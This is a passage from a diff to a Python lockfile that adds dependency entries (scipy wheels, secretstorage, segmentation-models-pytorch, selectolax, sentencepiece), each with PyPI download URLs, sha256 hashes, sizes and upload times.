"sha256:dde4fc32993071ac0c7dd2d82569e544f0bdaff66269cb475e0f369adad13f11", size = 36872342, upload-time = "2025-05-08T16:07:31.468Z" }, + { url = "https://files.pythonhosted.org/packages/fe/54/4379be86dd74b6ad81551689107360d9a3e18f24d20767a2d5b9253a3f0a/scipy-1.15.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f77f853d584e72e874d87357ad70f44b437331507d1c311457bed8ed2b956126", size = 39670869, upload-time = "2025-05-08T16:07:38.002Z" }, + { url = "https://files.pythonhosted.org/packages/87/2e/892ad2862ba54f084ffe8cc4a22667eaf9c2bcec6d2bff1d15713c6c0703/scipy-1.15.3-cp313-cp313-win_amd64.whl", hash = "sha256:b90ab29d0c37ec9bf55424c064312930ca5f4bde15ee8619ee44e69319aab163", size = 40988851, upload-time = "2025-05-08T16:08:33.671Z" }, + { url = "https://files.pythonhosted.org/packages/1b/e9/7a879c137f7e55b30d75d90ce3eb468197646bc7b443ac036ae3fe109055/scipy-1.15.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:3ac07623267feb3ae308487c260ac684b32ea35fd81e12845039952f558047b8", size = 38863011, upload-time = "2025-05-08T16:07:44.039Z" }, + { url = "https://files.pythonhosted.org/packages/51/d1/226a806bbd69f62ce5ef5f3ffadc35286e9fbc802f606a07eb83bf2359de/scipy-1.15.3-cp313-cp313t-macosx_12_0_arm64.whl", hash = "sha256:6487aa99c2a3d509a5227d9a5e889ff05830a06b2ce08ec30df6d79db5fcd5c5", size = 30266407, upload-time = "2025-05-08T16:07:49.891Z" }, + { url = "https://files.pythonhosted.org/packages/e5/9b/f32d1d6093ab9eeabbd839b0f7619c62e46cc4b7b6dbf05b6e615bbd4400/scipy-1.15.3-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:50f9e62461c95d933d5c5ef4a1f2ebf9a2b4e83b0db374cb3f1de104d935922e", size = 22540030, upload-time = "2025-05-08T16:07:54.121Z" }, + { url = "https://files.pythonhosted.org/packages/e7/29/c278f699b095c1a884f29fda126340fcc201461ee8bfea5c8bdb1c7c958b/scipy-1.15.3-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:14ed70039d182f411ffc74789a16df3835e05dc469b898233a245cdfd7f162cb", size = 25218709, upload-time = "2025-05-08T16:07:58.506Z" }, + { url = "https://files.pythonhosted.org/packages/24/18/9e5374b617aba742a990581373cd6b68a2945d65cc588482749ef2e64467/scipy-1.15.3-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a769105537aa07a69468a0eefcd121be52006db61cdd8cac8a0e68980bbb723", size = 34809045, upload-time = "2025-05-08T16:08:03.929Z" }, + { url = "https://files.pythonhosted.org/packages/e1/fe/9c4361e7ba2927074360856db6135ef4904d505e9b3afbbcb073c4008328/scipy-1.15.3-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9db984639887e3dffb3928d118145ffe40eff2fa40cb241a306ec57c219ebbbb", size = 36703062, upload-time = "2025-05-08T16:08:09.558Z" }, + { url = "https://files.pythonhosted.org/packages/b7/8e/038ccfe29d272b30086b25a4960f757f97122cb2ec42e62b460d02fe98e9/scipy-1.15.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:40e54d5c7e7ebf1aa596c374c49fa3135f04648a0caabcb66c52884b943f02b4", size = 36393132, upload-time = "2025-05-08T16:08:15.34Z" }, + { url = "https://files.pythonhosted.org/packages/10/7e/5c12285452970be5bdbe8352c619250b97ebf7917d7a9a9e96b8a8140f17/scipy-1.15.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5e721fed53187e71d0ccf382b6bf977644c533e506c4d33c3fb24de89f5c3ed5", size = 38979503, upload-time = "2025-05-08T16:08:21.513Z" }, + { url = "https://files.pythonhosted.org/packages/81/06/0a5e5349474e1cbc5757975b21bd4fad0e72ebf138c5592f191646154e06/scipy-1.15.3-cp313-cp313t-win_amd64.whl", hash = "sha256:76ad1fb5f8752eabf0fa02e4cc0336b4e8f021e2d5f061ed37d6d264db35e3ca", size = 40308097, upload-time = "2025-05-08T16:08:27.627Z" }, +] + +[[package]] +name = "secretstorage" +version = "3.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography", marker = "sys_platform != 'darwin'" }, + { name = "jeepney", marker = "sys_platform != 'darwin'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/53/a4/f48c9d79cb507ed1373477dbceaba7401fd8a23af63b837fa61f1dcd3691/SecretStorage-3.3.3.tar.gz", hash = "sha256:2403533ef369eca6d2ba81718576c5e0f564d5cca1b58f73a8b23e7d4eeebd77", size = 19739, upload-time = "2022-08-13T16:22:46.976Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/24/b4293291fa1dd830f353d2cb163295742fa87f179fcc8a20a306a81978b7/SecretStorage-3.3.3-py3-none-any.whl", hash = "sha256:f356e6628222568e3af06f2eba8df495efa13b3b63081dafd4f7d9a7b7bc9f99", size = 15221, upload-time = "2022-08-13T16:22:44.457Z" }, +] + +[[package]] +name = "segmentation-models-pytorch" +version = "0.5.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "huggingface-hub" }, + { name = "numpy" }, + { name = "pillow" }, + { name = "safetensors" }, + { name = "timm" }, + { name = "torch" }, + { name = "torchvision" }, + { name = "tqdm" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/15/fa/d5a29d49240fb10bdead608b4d0c6805684a8f63b1f65863502be65b1ca4/segmentation_models_pytorch-0.5.0.tar.gz", hash = "sha256:cabba8aced6ef7bdcd6288dd9e1dc2840848aa819d539c455bd07aeceb2fdf96", size = 105150, upload-time = "2025-04-17T10:43:45.755Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/62/a50e5ac6191a498ad631e54df13d7e2d7eeb1325b15ee9ea1ee3ec065aaa/segmentation_models_pytorch-0.5.0-py3-none-any.whl", hash = "sha256:c34e09047771aa4dd8878b4f899e8125700cd1f8f7db16e58c37204154151a05", size = 154789, upload-time = "2025-04-17T10:43:43.668Z" }, +] + +[[package]] +name = "selectolax" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fb/c5/959b8661d200d9fd3cf52061ce6f1d7087ec94823bb324fe1ca76c80b250/selectolax-0.4.6.tar.gz", hash = "sha256:bd9326cfc9bbd5bfcda980b0452b9761b3cf134015154e95d83fa32cbfbb751b", size = 4793248, upload-time = "2025-12-06T12:35:48.513Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/b6/a4753cdde612caf292abb3519b8770a004cb696fac0aea40b403f5e27672/selectolax-0.4.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0e870cc935a36b8e37945c5e2055191df84e7af278dd386e5ff9f04552e5da6b", size = 2052715, upload-time = "2025-12-06T12:34:08.527Z" }, + { url = "https://files.pythonhosted.org/packages/3a/03/a3b21e54fbe5fee47d5e27fdb5696467c7d9adb7308d1bc85f1468a4d08e/selectolax-0.4.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b9008e4c5f708634baa6dbeb4cd8922edc8467eb842cf12da5cdf03399a969f3", size = 2051040, upload-time = "2025-12-06T12:34:10.365Z" }, + { url = "https://files.pythonhosted.org/packages/b2/ad/3984fa06ece9c773acc7938ccbee922d437d5396fb331f22a122da6fea8d/selectolax-0.4.6-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c7120afee58104f9d708b62b4e14caa9dc88c23e3f752b62a43dac953963362", size = 2237979, upload-time = "2025-12-06T12:34:12.053Z" }, + { url = "https://files.pythonhosted.org/packages/00/f2/ed47a855ca70db65b1c5d90e6cbb63132687a0b623a2edca5de26a68cadc/selectolax-0.4.6-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ceb1af4892aafd26612b1974c49abf524b5f69b2a9d521381d97dc8ca5c0e3d7", size = 2274003, upload-time = "2025-12-06T12:34:13.807Z" }, + { url = "https://files.pythonhosted.org/packages/13/74/840b0cd0a178718c815610fbe704803b4cf98aa1a8eb218788b77c020811/selectolax-0.4.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3a7a28857b7bd72e904c3e2fce9a21ceca60093622b3ceaf8e231a9ec24a0ca1", size = 2251372, upload-time = "2025-12-06T12:34:15.611Z" }, + { url = "https://files.pythonhosted.org/packages/a6/56/07bdcadb0180541b36c3f5dccd1d5243503ab695c2df6030e533ea098529/selectolax-0.4.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:59162e0b78d82c8b60e1318b3e72b49eed5858c2640f1df759d3f60584e4f215", size = 2280044, upload-time = "2025-12-06T12:34:17.382Z" }, + { url = "https://files.pythonhosted.org/packages/90/9f/6b44db2a47b18915a8085c55791144914c84f2189114854f91e7d85e103a/selectolax-0.4.6-cp310-cp310-win32.whl", hash = "sha256:c0683f65d9a715b88a831a06532880afef443767118e6705b063950cf093c6da", size = 1730937, upload-time = "2025-12-06T12:34:19.278Z" }, + { url = "https://files.pythonhosted.org/packages/8a/53/f58ff39066cf9d728592220539f110bc184b8baef248fab8c49593abe82d/selectolax-0.4.6-cp310-cp310-win_amd64.whl", hash = "sha256:e08ec4ff3a5ffd07398b6eec5279cf914ad710547ea47538417397220dbf2ab7", size = 1829982, upload-time = "2025-12-06T12:34:20.899Z" }, + { url = "https://files.pythonhosted.org/packages/fd/de/3039ba47fc0a93581bf68cbd6c7e6e190179ae474b36fc210d94b1ecc357/selectolax-0.4.6-cp310-cp310-win_arm64.whl", hash = "sha256:a5ac2b26d62bae1eff7d865c38de88ed758f64e5d134d62e334277ffad7d7284", size = 1782182, upload-time = "2025-12-06T12:34:22.655Z" }, + { url = "https://files.pythonhosted.org/packages/a0/76/9b5358d82353b68c5828cc8ceae4ff1073495462979d2035c1089f4421dd/selectolax-0.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:751f727c9963584fcfa101b2696e0dd31236142901bbe7866a8e39f2ec346cc4", size = 2052057, upload-time = "2025-12-06T12:34:24.448Z" }, + { url = "https://files.pythonhosted.org/packages/e3/d1/9f8c8841f414a1b72174acef916d4ed38cc0fa041d3e933013e2b3213f30/selectolax-0.4.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6f45737b638836b9fe2a4e7ccfbcd48a315ebb96da76a79a04b8227c1a967ee", size = 2050379, upload-time = "2025-12-06T12:34:26.383Z" }, + { url = "https://files.pythonhosted.org/packages/bc/c4/8e5ab9275a185a31d06b5ea58e3ba61d57e57700964cbd56fe074dbe458c/selectolax-0.4.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:15a22c5cd9c23f09227b2b9c227d986396125a9b0eb21be655f22fe4ccc5679a", size = 2238005, upload-time = "2025-12-06T12:34:28.2Z" }, + { url = "https://files.pythonhosted.org/packages/ea/af/f4299d931a8e11ba1998cac70d407c5338436978325232eb252ac7f5aba2/selectolax-0.4.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e64f771807f1a7353f4d6878c303bfbd6c6fe58897e301aa6d0de7e5e60cef61", size = 2272927, upload-time = "2025-12-06T12:34:29.955Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5e/9afbb0e8495846bf97fa7725a6f97622ad85efc654cb3cbf4c881bd345de/selectolax-0.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a0144a37fbf01695ccf2d0d24caaa058a28449cecb2c754bb9e616f339468d74", size = 2250901, upload-time = "2025-12-06T12:34:31.442Z" }, + { url = "https://files.pythonhosted.org/packages/d5/6b/914cc9c977fd21949af5776d25b9c011b6e72fb38569161ab6ca83d6130a/selectolax-0.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3c9bdd4a9b3f71f28a0ee558a105451debd33cbe1ed350ebba7ad6b68d62815c", size = 2279842, upload-time = "2025-12-06T12:34:32.739Z" }, + { url = "https://files.pythonhosted.org/packages/e1/30/b32d79d31c893cf5ccea5a5be4565db1eda9bbf458ddfe402559267f2d31/selectolax-0.4.6-cp311-cp311-win32.whl", hash = "sha256:b91c34b854fdd5d21c8353f130899f8413b7104a96078acbca59c8b2d57e9352", size = 1730462, upload-time = "2025-12-06T12:34:34.435Z" }, + { url = "https://files.pythonhosted.org/packages/8f/f1/c7ba048d4fcc4c8d5857233c59d07f18e60b21400a8ad8e8d7da670024c2/selectolax-0.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:901064121e706bc86ed13f6e0dbe478398ad05ab112f5efbc8d722320a087b93", size = 1831442, upload-time = "2025-12-06T12:34:35.846Z" }, + { url = "https://files.pythonhosted.org/packages/d5/55/b33853f66b1f875bbbbfc2294ce7a4065774621ab6ebf20e8abf19965846/selectolax-0.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:609c6c19f5b7cb669a6321a1d4133d2e2b443f23f7d454de76904118a91236a6", size = 1781850, upload-time = "2025-12-06T12:34:37.175Z" }, + { url = "https://files.pythonhosted.org/packages/ee/81/1fdf6633df840afd9d7054a3441f04cfb1fc9d098c6c9f3bd46a64fb632e/selectolax-0.4.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:20615062d6062b197b61fd646e667591e987be3a894e8a8408d2a482ccddc747", size = 2051021, upload-time = "2025-12-06T12:34:38.495Z" }, + { url = "https://files.pythonhosted.org/packages/cc/54/d59738d090cb4df3a3a6297b7ec216b86d3ba7f320013c4bc8d4841c9f5d/selectolax-0.4.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c436006e2af6ade80b96411cf46652c11ced4f230032e25e1f5210b7522a4fe3", size = 2047409, upload-time = "2025-12-06T12:34:39.875Z" }, + { url = "https://files.pythonhosted.org/packages/fc/67/3b163ec18a128df3a3b59ce676a2dacfb26e714da81ba8a98e184b4ef187/selectolax-0.4.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:705a70b6f4e553e8c5299881269d3735a7df8a23711927a33caa16b4eaef580f", size = 2237052, upload-time = "2025-12-06T12:34:41.24Z" }, + { url = "https://files.pythonhosted.org/packages/f0/04/c3ae4a77e8cfa647b9177e727a7e80f64b160b65ad0db0dcb3738a4ef4a0/selectolax-0.4.6-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c04fd180689ed9450ad2453a3cba74cff2475a4281f76db9e18a658b7823e594", size = 2275615, upload-time = "2025-12-06T12:34:43.114Z" }, + { url = "https://files.pythonhosted.org/packages/12/de/aaa016c44e63a1efd5525f6da6eac807388a06c70671091c735d93f13b74/selectolax-0.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cb33eb0809e70ba4a475105d164c3f90a4bb711744ca69e20037298256b8e9d7", size = 2249186, upload-time = "2025-12-06T12:34:44.84Z" }, + { url = "https://files.pythonhosted.org/packages/76/9a/a9cf9f0158b0804c7ea404d790af031830eb6452a4948853f7582eea6c51/selectolax-0.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:97f30b7c731f9f3328e9c6aef7ca3c17fbcbc4495e286a2cdad9a77bcadfadf1", size = 2282041, upload-time = "2025-12-06T12:34:46.19Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ea/85de7ab8a9fc0301d1b428e69dc0bced9c1cd7379872d576a2b88eb91933/selectolax-0.4.6-cp312-cp312-win32.whl", hash = "sha256:f4375b352b609508e4a6980431dc6cc1812b97658ad1aa8caa61e01565de0d7d", size = 1727544, upload-time = "2025-12-06T12:34:47.541Z" }, + { url = "https://files.pythonhosted.org/packages/50/70/4aac2df64920112672cda846941d85c90b8152b2eddc9cf2615181551957/selectolax-0.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:1d02637a6746bf1ba7de1dfc00a0344ffb30bedd1b5d4e61727c960225bf6ce0", size = 1827825, upload-time = "2025-12-06T12:34:49.283Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b0/09648383afed1a10df97ce30527d30714edc4072086915b4bb1a0d81a728/selectolax-0.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:bb0b371c3e2a94e6658ba4b5af88fc35aaf44f57f5a066ecaf96b4875a47aec4", size = 1775233, upload-time = "2025-12-06T12:34:51.576Z" }, + { url = "https://files.pythonhosted.org/packages/4d/87/7ed053cce7de8b29746c602851c67654287e25ec404d575911c6f40b671f/selectolax-0.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8303af0eeef6ab2f06f2b18e3c825df4f6984405a862c8e9e654621c26558aca", size = 2050412, upload-time = "2025-12-06T12:34:53.086Z" }, + { url = "https://files.pythonhosted.org/packages/44/74/e8cd9b9b53da0e849b27a2ef68580915321ee52a662f015275a1cf6cca85/selectolax-0.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d8b1fb5507d90e719de705d93eaa3bdd5f2d69facf012fb67b7da8a9cd20ea6b", size = 2046513, upload-time = "2025-12-06T12:34:54.583Z" }, + { url = "https://files.pythonhosted.org/packages/a0/ca/c1cc7f03b681d272dbb0dc47cf9d0df857ae156d7ea54d88cc25ec23c8e9/selectolax-0.4.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:30ac51bd5bfcd6bffe58720b1fc5f97666681f0793d79d292069b3a3f8599ef0", size = 2234404, upload-time = "2025-12-06T12:34:55.971Z" }, + { url = "https://files.pythonhosted.org/packages/df/00/a6e5c4d65243147fbd8837951267f098d9bee66ada4dc0c99d97259e052c/selectolax-0.4.6-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cfee4d1269fd462256641abdf6c2ee4dd799ba82c578acab0bcde07547637826", size = 2272678, upload-time = "2025-12-06T12:34:57.3Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a2/05351e0f0da62d1bc01b7820a990f1e4dec688206e0278ee8faeeb878940/selectolax-0.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fce09eeb5dd19fba672a829f63e3c40238af4a929ce1e5fd16dcbc4fd253e300", size = 2247471, upload-time = "2025-12-06T12:34:59.048Z" }, + { url = "https://files.pythonhosted.org/packages/ea/95/1ab9e3ad2d53dbcd7141af149c7259c693dc2dc46e27d72b7a68f17f3364/selectolax-0.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4e97ca71d545cab9c57ba3b18358cbc96ef0dcd01920ea903a531386ca1f849", size = 2278271, upload-time = "2025-12-06T12:35:00.487Z" }, + { url = "https://files.pythonhosted.org/packages/04/41/ca80ca68fb9990cb46d753363d8dc0771225bc9bb9a77247a1987e52d2d5/selectolax-0.4.6-cp313-cp313-win32.whl", hash = "sha256:98fce08839cb8fd5d8788cbed2724cd892c78182cd923e246ef586d552a29a94", size = 1727514, upload-time = "2025-12-06T12:35:02.081Z" }, + { url = "https://files.pythonhosted.org/packages/f0/47/f048994ab32773fda8eda57a874afb30d0b2bf30952c009006e81737e07e/selectolax-0.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:cdc8e7833d2456331e519fe901d1c8844d120a26b21b6429f47ae946e65b0c04", size = 1829070, upload-time = "2025-12-06T12:35:03.857Z" }, + { url = "https://files.pythonhosted.org/packages/50/94/ab0d86b1a719c090e2bde9f7d9037439900e86fb50c258b5fd9f6530521b/selectolax-0.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:d6f8c976ad067a6607b2a052b141149ae23584819b73288c32f08a1ece23d60a", size = 1774935, upload-time = "2025-12-06T12:35:05.323Z" }, + { url = "https://files.pythonhosted.org/packages/d2/38/93b4907c596487e13f8261129b1663559c96fc37ea2c973c98a393307484/selectolax-0.4.6-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:961c037ac41a12bf9db35a95d6076461f9b127d361c9ef26a77f76c45b1056eb", size = 2069131, upload-time = "2025-12-06T12:35:06.737Z" }, + { url = "https://files.pythonhosted.org/packages/f6/04/d29769a8313ccb9db6278401840e79662f341b716d268f7468b6270d15e1/selectolax-0.4.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:f2be076a69a12657a38933b99d31c604d95d63911e0799f89305da8e89918874", size = 2066134, upload-time = "2025-12-06T12:35:08.163Z" }, + { url = "https://files.pythonhosted.org/packages/29/a2/1c26b4cc6a708d234e39199bd75acdc1cfdcf4f3138e16d25e3e7aa0295d/selectolax-0.4.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25ae5dd7c20035312211de43952934981e8ff4e1502467ce78665f57bc5eaf7f", size = 2240810, upload-time = "2025-12-06T12:35:09.556Z" }, + { url = "https://files.pythonhosted.org/packages/1f/de/b021342d306bd08c92d0d9e9072a3ed6a3038f78387187d37fb775196fa0/selectolax-0.4.6-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cfe1274930affe2b986fd20cbf2916ddf4a760edf30a7eeb9151b31e8cbe6027", size = 2274401, upload-time = "2025-12-06T12:35:11.023Z" }, + { url = "https://files.pythonhosted.org/packages/29/77/b2816be2f4878f4e86fabca5932610401dc88d956948d97a82947e27d8bc/selectolax-0.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e52174a75236c1321f0f0353b5d97ba575c61428f16c2d78159cb154fa407e97", size = 2271054, upload-time = "2025-12-06T12:35:12.878Z" }, + { url = "https://files.pythonhosted.org/packages/1f/3a/ae48b9febf2af21a0fdd4fba07861ae3e13bd7235df3fa39918d33004058/selectolax-0.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5032187ed8f8d77da6dee5467a87fe9b1553c10c63671fe830e87a2d347ef8ae", size = 2297773, upload-time = "2025-12-06T12:35:14.383Z" }, + { url = "https://files.pythonhosted.org/packages/f9/8c/4e120b2b6dc55543bf2ffc43e78589022e59c02fa93dea0b4d22dfe3fc27/selectolax-0.4.6-cp314-cp314-win32.whl", hash = "sha256:8a4f50eb37abffe118730c062827a204a732cc1b9cd28b5dbf40752c371e9339", size = 1838289, upload-time = "2025-12-06T12:35:16.278Z" }, + { url = "https://files.pythonhosted.org/packages/c4/2f/51f15b06f4fcf9d5845d6bba534f7f2ed531f148c77ed8fff105cd770aa5/selectolax-0.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:11527cd430cb6d1d1a422209d87aec5767befff424f2affaa3daa2789878cf9f", size = 1938201, upload-time = "2025-12-06T12:35:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/f3/8d/c099dcbb385e7d2145c4f19da183639bf4e429e1524dcba31ea311c5d276/selectolax-0.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:254d7f59580631dac1fcb861bb01f45039e3ac53187f07d8ccc3519110bacad0", size = 1886188, upload-time = "2025-12-06T12:35:19.538Z" }, + { url = "https://files.pythonhosted.org/packages/54/ce/f3fa904517745ecd289b6ce18845ae968cf7d0b17e65ab781259f2746254/selectolax-0.4.6-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:48a9bce389c281fec8bf3b5a36bd376f1ad1f36ff072dcedaa977188b3882be1", size = 2088107, upload-time = "2025-12-06T12:35:21.061Z" }, + { url = "https://files.pythonhosted.org/packages/4f/18/359da9723d3ec1235819cea0958bc417ce6a12699977920854b300ad4529/selectolax-0.4.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ff1632c1767f6005adc2dff7b72ea9d0b6493702e86e04ee5cf934ab630172aa", size = 2090836, upload-time = "2025-12-06T12:35:22.421Z" }, + { url = "https://files.pythonhosted.org/packages/e2/20/199f2a05ca8dfd9bc146af03fbfaa1e2050601d3141267070a2a023ea68f/selectolax-0.4.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:64a56dd91c22e809305e127bbd4cd75ad1016dd329a4e945a176c6f3376d00e2", size = 2248608, upload-time = "2025-12-06T12:35:23.946Z" }, + { url = "https://files.pythonhosted.org/packages/f9/67/261c06cdae29fad287008d39f51a80431f3fce66c2865b880e61d04cdfd2/selectolax-0.4.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:223471d2c9095406d69faf461aa217782575d62362d36809e350f6d3c2f69f4e", size = 2275653, upload-time = "2025-12-06T12:35:25.423Z" }, + { url = "https://files.pythonhosted.org/packages/10/80/f2519487a86b5366acadd9e07c212b38fb657bb62b9e01de9fb24c3ada27/selectolax-0.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8c1043e61df29f4f8ef49f9f623b3d710f0c545d9a7939eee52c49987b06aef7", size = 2283495, upload-time = "2025-12-06T12:35:26.843Z" }, + { url = "https://files.pythonhosted.org/packages/66/cc/35a0fd896371e0b5a84365b03f88c7dbe8984862e34ce32baed81ee6f486/selectolax-0.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:b323ad4ebcf2edad2488022402fbc73ee158ffe81607ec1ce5eb1039eab94086", size = 2300207, upload-time = "2025-12-06T12:35:28.23Z" }, + { url = "https://files.pythonhosted.org/packages/51/b2/dc83cce2f38a3c72d6bf9268ef6c1708ab1b4d546074384e7e0d097bf4f6/selectolax-0.4.6-cp314-cp314t-win32.whl", hash = "sha256:f5017f6e2408160604c87fb21490d9af802d09dbc1b91ac89acd9922b7b04d31", size = 1890595, upload-time = "2025-12-06T12:35:29.625Z" }, + { url = "https://files.pythonhosted.org/packages/87/f9/8da49637643b1dffbcadc8972f1fee519c126978acaf5df59405e48424f4/selectolax-0.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:56adb0f014ab55627f20f53888a7bf1ec53aac8189fe344aec3d5077a7ad9889", size = 2005252, upload-time = "2025-12-06T12:35:31.116Z" }, + { url = "https://files.pythonhosted.org/packages/94/7f/f783e2254db082df4f6bc00fe3b32b9dd27c3b7302a44c8c37728bb67fb7/selectolax-0.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:66558cfb1c7402fed0f47b9a2692eed53e3e2f345526314b493b5093cb951e21", size = 1906079, upload-time = "2025-12-06T12:35:32.951Z" }, +] + +[[package]] +name = "sentencepiece" +version = "0.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/15/15/2e7a025fc62d764b151ae6d0f2a92f8081755ebe8d4a64099accc6f77ba6/sentencepiece-0.2.1.tar.gz", hash = "sha256:8138cec27c2f2282f4a34d9a016e3374cd40e5c6e9cb335063db66a0a3b71fad", size = 3228515, upload-time = "2025-08-12T07:00:51.718Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/31/5b7cccb307b485db1a2372d6d2980b0a65d067f8be5ca943a103b4acd5b3/sentencepiece-0.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e10fa50bdbaa5e2445dbd387979980d391760faf0ec99a09bd7780ff37eaec44", size = 1942557, upload-time = "2025-08-12T06:59:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/1f/41/0ac923a8e685ad290c5afc8ae55c5844977b8d75076fcc04302b9a324274/sentencepiece-0.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f27ae6deea72efdb6f361750c92f6c21fd0ad087445082770cc34015213c526", size = 1325384, upload-time = "2025-08-12T06:59:14.334Z" }, + { url = "https://files.pythonhosted.org/packages/fc/ef/3751555d67daf9003384978f169d31c775cb5c7baf28633caaf1eb2b2b4d/sentencepiece-0.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:60937c959e6f44159fdd9f56fbdd302501f96114a5ba436829496d5f32d8de3f", size = 1253317, upload-time = "2025-08-12T06:59:16.247Z" }, + { url = "https://files.pythonhosted.org/packages/46/a5/742c69b7bd144eb32b6e5fd50dbd8abbbc7a95fce2fe16e50156fa400e3b/sentencepiece-0.2.1-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d8b1d91545578852f128650b8cce4ec20f93d39b378ff554ebe66290f2dabb92", size = 1316379, upload-time = "2025-08-12T06:59:17.825Z" }, + { url = "https://files.pythonhosted.org/packages/c8/89/8deeafbba2871e8fa10f20f17447786f4ac38085925335728d360eaf4cae/sentencepiece-0.2.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:27e38eee653abc3d387862e67bc5c8b6f428cd604e688b85d29170b7e725c26c", size = 1387926, upload-time = "2025-08-12T06:59:19.395Z" }, + { url = "https://files.pythonhosted.org/packages/c3/ca/67fe73005f0ab617c6a970b199754e28e524b6873aa7025224fad3cda252/sentencepiece-0.2.1-cp310-cp310-win32.whl", hash = "sha256:251874d720ac7f28024a168501f3c7bb15d1802245f6e66de565f18bbb9b5eaa", size = 999550, upload-time = "2025-08-12T06:59:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/6d/33/dc5b54042050d2dda4229c3ce1f862541c99966390b6aa20f54d520d2dc2/sentencepiece-0.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:e52144670738b4b477fade6c2a9b6af71a8d0094514c9853ac9f6fc1fcfabae7", size = 1054613, upload-time = "2025-08-12T06:59:22.255Z" }, + { url = 